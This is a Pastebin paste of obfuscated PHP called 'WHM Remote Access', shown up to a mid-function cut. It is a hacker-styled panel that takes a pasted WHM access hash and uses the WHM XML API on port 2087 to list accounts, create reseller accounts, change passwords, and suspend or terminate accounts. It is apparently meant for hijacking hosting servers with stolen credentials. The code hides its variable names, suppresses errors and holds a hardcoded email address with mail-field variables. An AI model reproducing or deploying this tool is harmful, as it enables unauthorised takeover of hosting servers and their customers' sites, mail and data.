Advertisement
AZZATSSINS_CYBERSERK

WHMCS Remote Access

Jul 8th, 2016
492
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 43.15 KB | None | 0 0
  1. <?php
  2. @error_reporting(0);
  3. @ini_set('log_errors',0);
  4. @ini_set('display_errors',0);
  5. $emailente = '[email protected]';
  6. $nama = 'azzatssins';
  7. $ {
  8.     "GLOBALS"
  9. }
  10. ["rshhhhzdjivn"] = "hostname";
  11. $ {
  12.     "GLOBALS"
  13. }
  14. ["qybmmyvo"] = "dm5";
  15. $ {
  16.     "GLOBALS"
  17. }
  18. ["cgdqizbjb"] = "infomail";
  19. $ {
  20.     "GLOBALS"
  21. }
  22. ["ugwdatuetm"] = "httpheaders";
  23. $ {
  24.     "GLOBALS"
  25. }
  26. ["jmossxbfynir"] = "frommail";
  27. $ {
  28.     "GLOBALS"
  29. }
  30. ["buubgbf"] = "tomail";
  31. $ {
  32.     "GLOBALS"
  33. }
  34. ["tfoqdtkoozl"] = "httpheader";
  35. $ {
  36.     "GLOBALS"
  37. }
  38. ["gkfjmmp"] = "info";
  39. $ {
  40.     "GLOBALS"
  41. }
  42. ["htlxwjkdfnbx"] = "subject";
  43. $ {
  44.     "GLOBALS"
  45. }
  46. ["wyuvccqfyby"] = "emailente";
  47. $ {
  48.     "GLOBALS"
  49. }
  50. ["yhcbrtqybhn"] = "tujuan";
  51. $ {
  52.     "GLOBALS"
  53. }
  54. ["epyufhqui"] = "sep";
  55. $ {
  56.     "GLOBALS"
  57. }
  58. ["klnlsxvu"] = "dm1";
  59. $ {
  60.     "GLOBALS"
  61. }
  62. ["mgzcndyuozix"] = "dm4";
  63. $ {
  64.     "GLOBALS"
  65. }
  66. ["bgyfsievqc"] = "dm3";
  67. $ {
  68.     "GLOBALS"
  69. }
  70. ["cnpybqg"] = "dm2";
  71. $ {
  72.     "GLOBALS"
  73. }
  74. ["cemjvape"] = "II11II11II11II11";
  75. $ {
  76.     "GLOBALS"
  77. }
  78. ["tttkddsbp"] = "version";
  79. $ {
  80.     "GLOBALS"
  81. }
  82. ["jqstuo"] = "bawah";
  83. $ {
  84.     "GLOBALS"
  85. }
  86. ["rrbcihfi"] = "separator";
  87. $ {
  88.     "GLOBALS"
  89. }
  90. ["lqfwxtwbjz"] = "hash";
  91. $ {
  92.     "GLOBALS"
  93. }
  94. ["cntvmeburrl"] = "virgous";
  95. $ {
  96.     "GLOBALS"
  97. }
  98. ["ejmlkkd"] = "i";
  99. $ {
  100.     "GLOBALS"
  101. }
  102. ["rwocuxf"] = "result";
  103. $ {
  104.     "GLOBALS"
  105. }
  106. ["sxeebm"] = "item";
  107. $ {
  108.     "GLOBALS"
  109. }
  110. ["ppujmk"] = "element";
  111. $ {
  112.     "GLOBALS"
  113. }
  114. ["kwsayld"] = "list";
  115. $ {
  116.     "GLOBALS"
  117. }
  118. ["sqbtmnd"] = "xml";
  119. $ {
  120.     "GLOBALS"
  121. }
  122. ["zmibinpgipr"] = "xmlstr";
  123. $ {
  124.     "GLOBALS"
  125. }
  126. ["ltwtigrphxuo"] = "rawResult";
  127. $ {
  128.     "GLOBALS"
  129. }
  130. ["nsqdbsct"] = "header";
  131. $ {
  132.     "GLOBALS"
  133. }
  134. ["fughgfkrc"] = "api_path";
  135. $ {
  136.     "GLOBALS"
  137. }
  138. ["xiykwn"] = "errstr";
  139. $ {
  140.     "GLOBALS"
  141. }
  142. ["lvnrwks"] = "accessHash";
  143. $ {
  144.     "GLOBALS"
  145. }
  146. ["gueuhqn"] = "user";
  147. ?>
  148.  
  149. <html>
  150. <head>
  151. <title>WHM Remote Access</title>
  152. <meta name="description" content="remote access whm" />
  153. <meta name="description" content="accesswhmusingxmlapi" />
  154. <meta name="keywords" content="remoteaccesswhm"/>
  155. <meta name="keywords"content = "access whm using xml api"/>
  156. </head>
  157. <body style="background-image: url('http://i.imgur.com/zHNCk2e.gif'); background-repeat: repeat; background-position: center; background-attachment: fixed;">
  158.  <STYLE>
  159. textarea{
  160. BORDER: dashed 1px blue;
  161. BORDER-COLOR: blue;
  162. background-image: url('http://i.imgur.com/zHNCk2e.gif');
  163. font: 5pt Verdana;
  164. color: lime;
  165. font-weight:bold;
  166. font-family: Tahoma;
  167. }
  168. body {
  169. font-family: Tahoma
  170. }
  171. tr {
  172. BORDER: dashed 1px #333;
  173. font: 5pt Verdana;
  174. color: #FFF;
  175. }
  176. td {
  177. BORDER: dashed 1px #333;
  178. font: 5pt Verdana;
  179. color: #FFF;
  180. }
  181.  
  182. .tr2 {
  183. BORDER: dashed 1px blue;
  184. background-color: black;
  185. font: 5pt Verdana;
  186. color: #FFF;
  187. }
  188. .td2 {
  189. BORDER: dashed 1px blue;
  190. background-color: black;
  191. font: 5pt Verdana;
  192. color: #FFF;
  193. }
  194.  
  195. hr {
  196. BORDER: dashed 1px blue;
  197. color: #FFF;
  198. }
  199. .table1 {
  200. BORDER: 0px Black;
  201. BACKGROUND-COLOR: Black;
  202. font: 5pt Verdana;
  203. color: #FFF;
  204. }
  205. .td1 {
  206. BORDER: 0px;
  207. BORDER-COLOR: #333333;
  208. font: 5pt Verdana;
  209. color: white;
  210. }
  211. .tr1 {
  212. BORDER: 0px;
  213. BORDER-COLOR: #333333;
  214. font: 5pt Verdana;
  215. color: #FFF;
  216. }
  217. table {
  218. BORDER: dashed 2px blue;
  219. BORDER-COLOR: blue;
  220. font: 5pt Verdana;
  221. color: #FFF;
  222. }
  223. input {
  224. border : dashed 1px;
  225. border-color : blue;
  226. BACKGROUND-COLOR: Black;
  227. font: 5pt Verdana;
  228. color: white;
  229. }
  230. select {
  231. BORDER-RIGHT:  Black 1px solid;
  232. BORDER-TOP: #DF0000 1px solid;
  233. BORDER-LEFT: #DF0000 1px solid;
  234. BORDER-BOTTOM: Black 1px solid;
  235. BORDER-color: #FFF;
  236. BACKGROUND-COLOR: Black;
  237. font: 5pt Verdana;
  238. color: white;
  239. }
  240. submit {
  241. BORDER:  buttonhighlight 2px outset;
  242. BACKGROUND-COLOR: Black;
  243. width: 30%;
  244. font: 5pt Verdana;
  245. color: #FFF;
  246. }
  247. BODY {
  248. SCROLLBAR-FACE-COLOR: Black;
  249. SCROLLBAR-HIGHLIGHT-color: #FFF;
  250. SCROLLBAR-SHADOW-color: #FFF;
  251. SCROLLBAR-3DLIGHT-color: #FFF;
  252. SCROLLBAR-ARROW-COLOR: Black;
  253. SCROLLBAR-TRACK-color: #FFF;
  254. SCROLLBAR-DARKSHADOW-color: #FFF
  255. margin: 1px;
  256. color: Red;
  257. background-color: Black;
  258. }
  259. .main {
  260. margin: -287px 0px 0px -490px;
  261. BORDER: dashed 1px #333;
  262. BORDER-COLOR: #333333;
  263. }
  264.  
  265. .inputzbut{
  266. background-color:black;
  267. font: 5pt Verdana;
  268. color:white;
  269. margin:0px;
  270. colspan:0px;
  271. border:1px solid #444444;
  272. border-bottom:1px solid blue;
  273. border-top:1px solid blue;
  274. border-right:1px solid blue;
  275. border-left:1px solid blue;
  276. }
  277.  
  278. .input2{
  279. background-color: black;
  280. color:white;
  281. font: 5pt Verdana;
  282. border:0px solid #444444;
  283. border-bottom:0px solid blue;
  284. border-top:0px solid blue;
  285. border-right:0px solid blue;
  286. border-left:0px solid blue;
  287. }
  288. .areazbut{
  289. background: black;
  290. font: 5pt Verdana;
  291. color:white;
  292. margin:0 4px;
  293. border:1px solid #444444;
  294. border-bottom:1px solid blue;
  295. border-top:1px solid blue;
  296. border-right:1px solid blue;
  297. border-left:1px solid blue;
  298. }
  299.  
  300. .tt {
  301. background-color: Black;
  302. }
  303. .areaz {
  304. margin:auto;
  305. border:1px solid blue;
  306. width:80%;
  307. height:180px;
  308. background:#000000;
  309. padding:0 2px;
  310. }
  311. .areas {
  312. margin:auto;
  313. border:1px solid blue;
  314. width:100%;
  315. height:220px;
  316. background:#000000;
  317. padding:0 2px;
  318. }
  319. A.su {
  320. color: white;
  321. }
  322. A.su:link {
  323. text-decoration: none;
  324. color:red;
  325. }
  326. A.su:visited {
  327. text-decoration: none;
  328. color: red;
  329. }
  330. A.su:hover {
  331. text-decoration: underline;
  332. color: red;
  333. }
  334. A.su:active {
  335. text-decoration: none;
  336. color: red;
  337. }
  338. A.asu {
  339. color:yellow;
  340. }
  341. A.asu:link {
  342. text-decoration: none;
  343. color:yellow;
  344. }
  345. A.asu:visited {
  346. text-decoration: none;
  347. color:yellow;
  348. }
  349. A.asu:hover {
  350. text-decoration: underline;
  351. color:yellow;
  352. }
  353. A.asu:active {
  354. text-decoration: none;
  355. color: yellow;
  356. }
  357. A.asuu {
  358. color:lime;
  359. }
  360. A.asuu:link {
  361. text-decoration: none;
  362. color:lime;
  363. }
  364. A.asuu:visited {
  365. text-decoration: none;
  366. color:lime;
  367. }
  368. A.asuu:hover {
  369. text-decoration: underline;
  370. color:lime;
  371. }
  372. A.asuu:active {
  373. text-decoration: none;
  374. color:lime;
  375. }
  376. A:link {
  377. COLOR: White;
  378. TEXT-DECORATION: none
  379. }
  380. A:visited {
  381. COLOR: White;
  382. TEXT-DECORATION: none
  383. }
  384. A:hover {
  385. color: Red;
  386. TEXT-DECORATION: none
  387. }
  388. A:active {
  389. color: Red;
  390. TEXT-DECORATION: none
  391. }
  392. #result{margin:10px;}
  393. #result span{display:block;}
  394. #result .X{background-color:#101010;}
  395. #result .Y{background-color:green;}
  396. #result .Z{background-color:red;}
  397. a { text-decoration:none; }
  398. a:hover{ border-bottom:2px solid red; }
  399.  
  400. *{ color:white; }
  401.  
  402. #menu{ background:#111111;margin:8px 2px 4px 2px; }
  403.  
  404. #menu a{ padding:4px 18px;
  405. margin:0;
  406. background:#black;
  407. text-decoration:none;
  408. letter-spacing:2px;
  409. border-radius: 4px;
  410. border-bottom:2px solid #444444;
  411. border-top:2px solid #444444;
  412. border-right:2px solid lime;
  413. border-left:2px solid lime;
  414. }
  415.  
  416. #menu a:hover{
  417. background:#191919;
  418. border-radius: 7px;
  419. border-bottom:2px solid #white;
  420. border-top:2px solid #white;
  421. border-right:2px solid #FF0000;
  422. border-left:2px solid #FF0000;
  423. }
  424.  
  425.  
  426.  
  427. .main { width:90%;
  428. background:#000000;
  429. margin:30px auto 10px;
  430. padding:10px 10px 5px 10px;
  431. border-radius:5px;
  432. -moz-border-radius:5px;
  433. -moz-box-shadow:0px 0px 10px #FFFFFF;
  434. }
  435.  
  436. .output { margin:auto;
  437. border:1px solid red;
  438. width:100%;
  439. height:400px;
  440. background:#000000;
  441. padding:0 2px; }
  442.  
  443.  
  444. .b1{
  445. font-size:30px;padding:0;color:white;
  446. }
  447. .b2{
  448. font-size:40px;padding:0;color:red;
  449. }
  450. .b3{
  451. font-size:20px;padding:0;color:#444444;
  452. }
  453.  
  454. .info{ background:#111111;
  455. width:99%;
  456. padding:5px;
  457. margin:10px auto 5px;
  458. text-align:center;
  459. font-size:13px;}
  460. .info a{ font-size:14px;}
  461. .info span{ font-size:14px;}
  462. .jaya{ margin:5px; text-align:right; }
  463. </style>
  464. </td></table></tr>
  465. </head>
  466. <center>
  467. <table border="1" width="100%"><tbody>
  468. <td>
  469. <center><p>
  470. <form method="GET">
  471. <input style="border : dashed 0px;"type="submit" name="azzatssins" value="WHM REMOTE ACCESS" id="button">
  472. </form>
  473. <form method="post" name="pageform" action="" onsubmit="return validate(this);">
  474. <p>
  475. <textarea rows="15" cols="38" name="vhash"></textarea>
  476. <p>
  477. <table border="1">
  478. <tr>
  479. <td align="center">
  480. Host Name
  481. </td>
  482. <td align="center">
  483.  WHM Owner
  484. </td></tr>
  485. <td align="center">
  486. <input name="vhost" type="text" size="25" value=""></td>
  487. <td align="center">
  488. <input name="vuser" type="text"size="25" value="">
  489. </td></tr>
  490. <td colspan="2" align="center">
  491. <input name="azzatssins1" type="submit" value=" Info Hostname - WHM Version - Account - Package"></td></tr></table>
  492. </center>
  493. <br />
  494. </td>
  495. <td align="center"><br />
  496.  
  497.  
  498. <input type="submit" name="v2" value="Create Account" id="button"><br /><br/>
  499. <input type="submit" name="v3" value="Account Sumarry" id="button"><br /><br />
  500. <input type="submit" name="v4" value="Change Password" id="button"><br /><br />
  501. <input type="submit" name="v5" value="Suspend Account" id="button"><br /><br />
  502. <input type="submit"name="v6" value="Unsuspend Account" id="button"><br /><br />
  503. <input type="submit" name="v7" value="Terminate Account" id="button"><br /><br />
  504.  
  505. </td>
  506. </tr>
  507. </form></tbody></table>
  508. <table border="1" width="100%">
  509. <tr><td align="center">
  510. <!-- start xml api -->
  511.  
  512. <?php
  513. set_time_limit(1);error_reporting(1);ini_set("memory_limit","64M");header("Content-Type: text/html; charset=UTF-8");class Whm{var$controller=true;var$host=null;var$user=null;var$accessHash=null;var$errors=array();var$fp=null;function startup(&$controller){${"GLOBALS"}["bjabneswp"]="controller";$this->controller=&${${"GLOBALS"}["bjabneswp"]};}function init($host,$user,$accessHash){$this->host=$host;$this->user=${${"GLOBALS"}["gueuhqn"]};${${"GLOBALS"}["lvnrwks"]}=str_replace(array("
  514. ","
  515. "),"",${${"GLOBALS"}["lvnrwks"]});$this->accessHash=${${"GLOBALS"}["lvnrwks"]};}function connect($api_path){$pwrwkxx="errstr";$jxjnjhhffhhg="errno";$mobgrxe="errno";$ocsywwsfh="header";${"GLOBALS"}["npulqtw"]="header";$this->fp=fsockopen("ssl://".$this->host,2087,${$jxjnjhhffhhg},${$pwrwkxx},30);if(${$mobgrxe}==0&&$this->fp==false){$this->errors[]="Socket Error: Could not initialize socket.";return false;}elseif($this->fp==false){${"GLOBALS"}["ydhija"]="errno";$this->errors[]="Socket Error #".${${"GLOBALS"}["ydhija"]}.": ".${${"GLOBALS"}["xiykwn"]};return false;}$lirchk="header";$ikxgyddec="header";${$ikxgyddec}="";${$ocsywwsfh}.="GET ".${${"GLOBALS"}["fughgfkrc"]}." HTTP/1.0
  516. ";${${"GLOBALS"}["nsqdbsct"]}.="Host: ".$this->host."
  517. ";${$lirchk}.="Connection: Close
  518. ";${${"GLOBALS"}["nsqdbsct"]}.="Authorization: WHM ".$this->user.":".$this->accessHash."
  519. ";${${"GLOBALS"}["npulqtw"]}.="
  520. ";if(!@fputs($this->fp,${${"GLOBALS"}["nsqdbsct"]})){$this->errors[]="Unable to send header.";return false;}}function disconnect(){fclose($this->fp);}function getOutput(){$bwnxdryfqk="result";${"GLOBALS"}["bcgmchpujiui"]="rawResult";${"GLOBALS"}["pbiqulfirt"]="rawResultParts";$lukxqqrie="result";$umsdbbq="rawResult";${${"GLOBALS"}["bcgmchpujiui"]}="";${"GLOBALS"}["xxtvnpe"]="rawResultParts";while(!feof($this->fp)){${${"GLOBALS"}["ltwtigrphxuo"]}.=@fgets($this->fp,128);}${${"GLOBALS"}["xxtvnpe"]}=explode("
  521.  
  522. ",${$umsdbbq});${$lukxqqrie}=${${"GLOBALS"}["pbiqulfirt"]}[1];return${$bwnxdryfqk};}function version(){$this->connect("/xml-api/version");${${"GLOBALS"}["zmibinpgipr"]}=$this->getOutput();if(${${"GLOBALS"}["zmibinpgipr"]}==""){$this->errors[]="No output.";return false;}$this->disconnect();${${"GLOBALS"}["sqbtmnd"]}=new SimpleXMLElement(${${"GLOBALS"}["zmibinpgipr"]});return$xml->version;}function gethostname(){$frzbhexw="xmlstr";$this->connect("/xml-api/gethostname");$mttfht="xmlstr";${$mttfht}=$this->getOutput();$kbewsugpk="xml";$hdcaeudhj="xmlstr";if(${$hdcaeudhj}==""){$this->errors[]="No output.";return false;}$this->disconnect();${$kbewsugpk}=new SimpleXMLElement(${$frzbhexw});return$xml->hostname;}function listaccts(){${"GLOBALS"}["crvwckqlxh"]="xmlstr";$this->connect("/xml-api/listaccts");${"GLOBALS"}["wcrfjl"]="list";${${"GLOBALS"}["zmibinpgipr"]}=$this->getOutput();$eqksyigyu="xmlstr";$gsrvsafam="i";if(${${"GLOBALS"}["crvwckqlxh"]}==""){$this->errors[]="No output.";return false;}$sjwtvwj="list";$this->disconnect();${${"GLOBALS"}["sqbtmnd"]}=new DOMDocument();$xml->loadXML(${$eqksyigyu});${${"GLOBALS"}["kwsayld"]}=$xml->getElementsByTagName("user");${$gsrvsafam}=0;foreach(${${"GLOBALS"}["kwsayld"]} AS${${"GLOBALS"}["ppujmk"]}){foreach($element->childNodes AS${${"GLOBALS"}["sxeebm"]}){${${"GLOBALS"}["rwocuxf"]}[${${"GLOBALS"}["ejmlkkd"]}]["user"]=$item->nodeValue;$xptvqyyhz="i";${$xptvqyyhz}++;}}$mhlrnwepg="element";${${"GLOBALS"}["kwsayld"]}=$xml->getElementsByTagName("domain");${"GLOBALS"}["dkbptovxc"]="i";${${"GLOBALS"}["dkbptovxc"]}=0;foreach(${${"GLOBALS"}["kwsayld"]} AS${${"GLOBALS"}["ppujmk"]}){foreach($element->childNodes AS${${"GLOBALS"}["sxeebm"]}){${"GLOBALS"}["gnijdvt"]="i";$vnmpqxit="i";${${"GLOBALS"}["rwocuxf"]}[${${"GLOBALS"}["gnijdvt"]}]["domain"]=$item->nodeValue;${$vnmpqxit}++;}}${${"GLOBALS"}["kwsayld"]}=$xml->getElementsByTagName("plan");${${"GLOBALS"}["ejmlkkd"]}=0;foreach(${${"GLOBALS"}["kwsayld"]} AS${${"GLOBALS"}["ppujmk"]}){$kgpxaihbbt="item";foreach($element->childNodes AS${$kgpxaihbbt}){$gznkditpwjv="i";${${"GLOBALS"}["rwocuxf"]}[${${"GLOBALS"}["ejmlkkd"]}]["package"]=$item->nodeValue;${$gznkditpwjv}++;}}${$sjwtvwj}=$xml->getElementsByTagName("unix_startdate");${${"GLOBALS"}["ejmlkkd"]}=0;foreach(${${"GLOBALS"}["wcrfjl"]} AS${$mhlrnwepg}){foreach($element->childNodes AS${${"GLOBALS"}["sxeebm"]}){${"GLOBALS"}["jnspmcrgop"]="i";$fdsrmhfo="i";${${"GLOBALS"}["rwocuxf"]}[${${"GLOBALS"}["jnspmcrgop"]}]["start_date"]=$item->nodeValue;${$fdsrmhfo}++;}}return${${"GLOBALS"}["rwocuxf"]};}function listPkgs(){$olbumfu="xml";${"GLOBALS"}["bhqjwy"]="xmlstr";$vkvqwmml="list";$this->connect("/xml-api/listpkgs");${"GLOBALS"}["pesngtvb"]="list";$oxhlzbad="element";${${"GLOBALS"}["zmibinpgipr"]}=$this->getOutput();if(${${"GLOBALS"}["bhqjwy"]}==""){$this->errors[]="No output.";return false;}$this->disconnect();${$olbumfu}=new DOMDocument();$xml->loadXML(${${"GLOBALS"}["zmibinpgipr"]});${"GLOBALS"}["widejwlmsrbo"]="i";${${"GLOBALS"}["kwsayld"]}=$xml->getElementsByTagName("name");${${"GLOBALS"}["ejmlkkd"]}=0;foreach(${${"GLOBALS"}["kwsayld"]} AS${$oxhlzbad}){foreach($element->childNodes AS${${"GLOBALS"}["sxeebm"]}){${"GLOBALS"}["gljaytjur"]="i";${${"GLOBALS"}["rwocuxf"]}[${${"GLOBALS"}["gljaytjur"]}]["package_name"]=$item->nodeValue;${${"GLOBALS"}["ejmlkkd"]}++;}}${${"GLOBALS"}["kwsayld"]}=$xml->getElementsByTagName("QUOTA");${"GLOBALS"}["oenwrsg"]="element";${${"GLOBALS"}["widejwlmsrbo"]}=0;foreach(${$vkvqwmml} AS${${"GLOBALS"}["oenwrsg"]}){foreach($element->childNodes AS${${"GLOBALS"}["sxeebm"]}){${"GLOBALS"}["uusrhduy"]="i";${${"GLOBALS"}["rwocuxf"]}[${${"GLOBALS"}["ejmlkkd"]}]["package_quota"]=$item->nodeValue;${${"GLOBALS"}["uusrhduy"]}++;}}${"GLOBALS"}["vlgvletxhhl"]="list";${${"GLOBALS"}["vlgvletxhhl"]}=$xml->getElementsByTagName("BWLIMIT");${${"GLOBALS"}["ejmlkkd"]}=0;foreach(${${"GLOBALS"}["pesngtvb"]} AS${${"GLOBALS"}["ppujmk"]}){foreach($element->childNodes AS${${"GLOBALS"}["sxeebm"]}){${"GLOBALS"}["pspifihvqw"]="result";$inxltlyc="i";${${"GLOBALS"}["pspifihvqw"]}[${$inxltlyc}]["package_bw_limit"]=$item->nodeValue;${${"GLOBALS"}["ejmlkkd"]}++;}}return${${"GLOBALS"}["rwocuxf"]};}function createAccount($acctDomain,$acctUser,$acctPass,$acctPackg){$vnxrfpopyezq="xml";$tybhaauxoko="xmlstr";${"GLOBALS"}["ohdlmvgirrg"]="xmlstr";$this->connect("/xml-api/createacct?username=$acctUser&password=$acctPass&plan=$acctPackg&domain=$acctDomain&ip=n&cgi=y&frontpage=y&cpmod=x3&useregns=1&reseller=1");${$tybhaauxoko}=$this->getOutput();if(${${"GLOBALS"}["ohdlmvgirrg"]}==""){$this->errors[]="No output.";return false;}$this->disconnect();${$vnxrfpopyezq}=new SimpleXMLElement(${${"GLOBALS"}["zmibinpgipr"]});if($xml->result->status==1){$mhcvech="result";${"GLOBALS"}["bhvgxqme"]="result";${${"GLOBALS"}["rwocuxf"]}["status"]=$xml->result->status;${$mhcvech}["statusmsg"]=$xml->result->statusmsg;$snkwgpps="result";${${"GLOBALS"}["rwocuxf"]}["ip"]=$xml->result->options->ip;${"GLOBALS"}["ulbbaopz"]="result";${${"GLOBALS"}["rwocuxf"]}["nameserver"]=$xml->result->options->nameserver;${"GLOBALS"}["qtgspvp"]="result";${"GLOBALS"}["lehyuj"]="result";${${"GLOBALS"}["ulbbaopz"]}["nameserver2"]=$xml->result->options->nameserver2;${${"GLOBALS"}["rwocuxf"]}["nameserver3"]=$xml->result->options->nameserver3;${${"GLOBALS"}["lehyuj"]}["nameserver4"]=$xml->result->options->nameserver4;${$snkwgpps}["package"]=$xml->result->options->package;${${"GLOBALS"}["qtgspvp"]}["rawout"]=$xml->result->rawout;return${${"GLOBALS"}["bhvgxqme"]};}else{$this->errors[]=$xml->result->statusmsg;return false;}}function accountsummary($accUser){$this->connect("/xml-api/accountsummary?user=$accUser");$dxoluomgdiq="xmlstr";${$dxoluomgdiq}=$this->getOutput();if(${${"GLOBALS"}["zmibinpgipr"]}==""){$this->errors[]="No output.";return false;}$this->disconnect();${${"GLOBALS"}["sqbtmnd"]}=new SimpleXMLElement(${${"GLOBALS"}["zmibinpgipr"]});if($xml->status==1){$wagnskiph="result";$flimtqwawp="result";$nbdwembyxqc="result";$wmetitlano="result";${"GLOBALS"}["xvfubsjlhi"]="result";$pjtlsoucqgw="result";$yofnfnzn="result";${"GLOBALS"}["ucuajwylna"]="result";${${"GLOBALS"}["rwocuxf"]}["disklimit"]=$xml->acct->disklimit;${$yofnfnzn}["diskused"]=$xml->acct->diskused;${${"GLOBALS"}["xvfubsjlhi"]}["diskused"]=$xml->acct->diskused;${${"GLOBALS"}["ucuajwylna"]}["domain"]=$xml->acct->domain;$kshdodvotj="result";$euppkrpbjh="result";${$wmetitlano}["email"]=$xml->acct->email;${${"GLOBALS"}["rwocuxf"]}["ip"]=$xml->acct->ip;${$nbdwembyxqc}["owner"]=$xml->acct->owner;${$kshdodvotj}["partition"]=$xml->acct->partition;${$pjtlsoucqgw}["plan"]=$xml->acct->plan;${$flimtqwawp}["startdate"]=$xml->acct->startdate;${${"GLOBALS"}["rwocuxf"]}["theme"]=$xml->acct->theme;${$wagnskiph}["unix_startdate"]=$xml->acct->unix_startdate;${${"GLOBALS"}["rwocuxf"]}["user"]=$xml->acct->user;return${$euppkrpbjh};}else{$this->errors[]=$xml->statusmsg;return false;}}function passwd($accUser,$pass){$this->connect("/xml-api/passwd?user=$accUser&pass=$pass");${"GLOBALS"}["wglvvmwpi"]="xmlstr";${${"GLOBALS"}["zmibinpgipr"]}=$this->getOutput();if(${${"GLOBALS"}["wglvvmwpi"]}==""){$this->errors[]="No output.";return false;}$this->disconnect();${${"GLOBALS"}["sqbtmnd"]}=new SimpleXMLElement(${${"GLOBALS"}["zmibinpgipr"]});if($xml->passwd->status==1){$nvlwga="result";${$nvlwga}["statusmsg"]=$xml->passwd->statusmsg;$pbaeyfpm="result";${${"GLOBALS"}["rwocuxf"]}["frontpage"]=$xml->passwd->frontpage;${${"GLOBALS"}["rwocuxf"]}["ftp"]=$xml->passwd->ftp;${${"GLOBALS"}["rwocuxf"]}["mail"]=$xml->passwd->mail;${$pbaeyfpm}["mysql"]=$xml->passwd->mysql;$jukasqwy="result";${$jukasqwy}["system"]=$xml->passwd->system;${${"GLOBALS"}["rwocuxf"]}["rawout"]=$xml->passwd->rawout;return${${"GLOBALS"}["rwocuxf"]};}else{$this->errors[]=$xml->passwd->statusmsg;return false;}}function suspend($acctUser,$reason){$this->connect("/xml-api/suspendacct?user=$acctUser&reason=$reason");${"GLOBALS"}["cbvdyhirx"]="xmlstr";${${"GLOBALS"}["cbvdyhirx"]}=$this->getOutput();${"GLOBALS"}["eefbbnasou"]="xmlstr";if(${${"GLOBALS"}["zmibinpgipr"]}==""){$this->errors[]="No output.";return false;}$this->disconnect();${${"GLOBALS"}["sqbtmnd"]}=new SimpleXMLElement(${${"GLOBALS"}["eefbbnasou"]});if($xml->result->status==1){return$xml->result->statusmsg;}else{$this->errors[]=$xml->result->statusmsg;return false;}}function unsuspend($acctUser){${"GLOBALS"}["qpibobj"]="xml";$ozhjsdvdr="xmlstr";${"GLOBALS"}["opgkdypxtr"]="xmlstr";$this->connect("/xml-api/unsuspendacct?user=$acctUser");${$ozhjsdvdr}=$this->getOutput();if(${${"GLOBALS"}["opgkdypxtr"]}==""){$this->errors[]="No output.";return false;}${"GLOBALS"}["kikvjsicxxr"]="xmlstr";$this->disconnect();${${"GLOBALS"}["qpibobj"]}=new SimpleXMLElement(${${"GLOBALS"}["kikvjsicxxr"]});if($xml->result->status==1){return$xml->result->statusmsg;}else{$this->errors[]=$xml->result->statusmsg;return false;}}function terminate($acctUser,$keepDns=0){$this->connect("/xml-api/removeacct?user=$acctUser&keepdns=$keepDns");$rpqkyrwxi="xml";${${"GLOBALS"}["zmibinpgipr"]}=$this->getOutput();if(${${"GLOBALS"}["zmibinpgipr"]}==""){$this->errors[]="No output.";return false;}$hrcbtoul="xmlstr";$this->disconnect();${$rpqkyrwxi}=new SimpleXMLElement(${$hrcbtoul});if($xml->result->status==1){return$xml->result->statusmsg;}else{$this->errors[]=$xml->result->statusmsg;return false;}}function Email_listpopswithdisk($user,$domain){$this->connect("/xml-api/cpanel?user=$user&xmlin=<cpanelaction><module>Email</module><func>listpopswithdisk</func><args><domain>$domain</domain></args></cpanelaction>");${${"GLOBALS"}["zmibinpgipr"]}=$this->getOutput();if(${${"GLOBALS"}["zmibinpgipr"]}==""){$this->errors[]="No output.";return false;}$this->disconnect();if(${${"GLOBALS"}["zmibinpgipr"]}){${"GLOBALS"}["fbpmmdp"]="xml";${"GLOBALS"}["jhvhyq"]="i";${"GLOBALS"}["kidztypdxg"]="entry";${${"GLOBALS"}["fbpmmdp"]}=new SimpleXMLElement(${${"GLOBALS"}["zmibinpgipr"]});${${"GLOBALS"}["jhvhyq"]}=0;foreach($xml->data as${${"GLOBALS"}["kidztypdxg"]}){${"GLOBALS"}["uwaiveoz"]="i";${"GLOBALS"}["yyhyipij"]="result";$dpixyyosyqrr="i";${${"GLOBALS"}["rwocuxf"]}[${${"GLOBALS"}["ejmlkkd"]}]["domain"]=htmlentities((string)$entry->domain);$rbumtnfxhw="result";${"GLOBALS"}["ejworbchb"]="i";$dibkhouwi="i";${"GLOBALS"}["nwatxqwipeoa"]="result";${${"GLOBALS"}["rwocuxf"]}[${${"GLOBALS"}["ejmlkkd"]}]["user"]=htmlentities((string)$entry->user);${${"GLOBALS"}["rwocuxf"]}[${${"GLOBALS"}["ejmlkkd"]}]["login"]=htmlentities((string)$entry->login);${${"GLOBALS"}["yyhyipij"]}[${${"GLOBALS"}["uwaiveoz"]}]["email"]=htmlentities((string)$entry->email);$prtfqrgug="result";${$rbumtnfxhw}[${${"GLOBALS"}["ejworbchb"]}]["_diskquota"]=htmlentities((string)$entry->_diskquota);${${"GLOBALS"}["rwocuxf"]}[${${"GLOBALS"}["ejmlkkd"]}]["_diskused"]=htmlentities((string)$entry->_diskused);${${"GLOBALS"}["rwocuxf"]}[${${"GLOBALS"}["ejmlkkd"]}]["diskquota"]=htmlentities((string)$entry->diskquota);${${"GLOBALS"}["nwatxqwipeoa"]}[${${"GLOBALS"}["ejmlkkd"]}]["diskused"]=htmlentities((string)$entry->diskused);$qlrukqug="i";${$prtfqrgug}[${$qlrukqug}]["diskusedpercent"]=htmlentities((string)$entry->diskusedpercent);${${"GLOBALS"}["rwocuxf"]}[${${"GLOBALS"}["ejmlkkd"]}]["diskusedpercent20"]=htmlentities((string)$entry->diskusedpercent20);${${"GLOBALS"}["rwocuxf"]}[${${"GLOBALS"}["ejmlkkd"]}]["humandiskquota"]=htmlentities((string)$entry->humandiskquota);${${"GLOBALS"}["rwocuxf"]}[${${"GLOBALS"}["ejmlkkd"]}]["humandiskused"]=htmlentities((string)$entry->humandiskused);${${"GLOBALS"}["rwocuxf"]}[${$dpixyyosyqrr}]["txtdiskquota"]=htmlentities((string)$entry->txtdiskquota);${$dibkhouwi}++;}$blgxedglu="result";return${$blgxedglu};}else{$this->errors[]="Some errors occured.";return false;}}function changepackage($accUser,$pkg){${"GLOBALS"}["ljgyaewqg"]="xmlstr";$this->connect("/xml-api/changepackage?user=$accUser&pkg=$pkg");${"GLOBALS"}["gqbupcfng"]="xml";${"GLOBALS"}["nyahhofyq"]="xmlstr";${${"GLOBALS"}["ljgyaewqg"]}=$this->getOutput();if(${${"GLOBALS"}["nyahhofyq"]}==""){$this->errors[]="No output.";return false;}$this->disconnect();${${"GLOBALS"}["gqbupcfng"]}=new 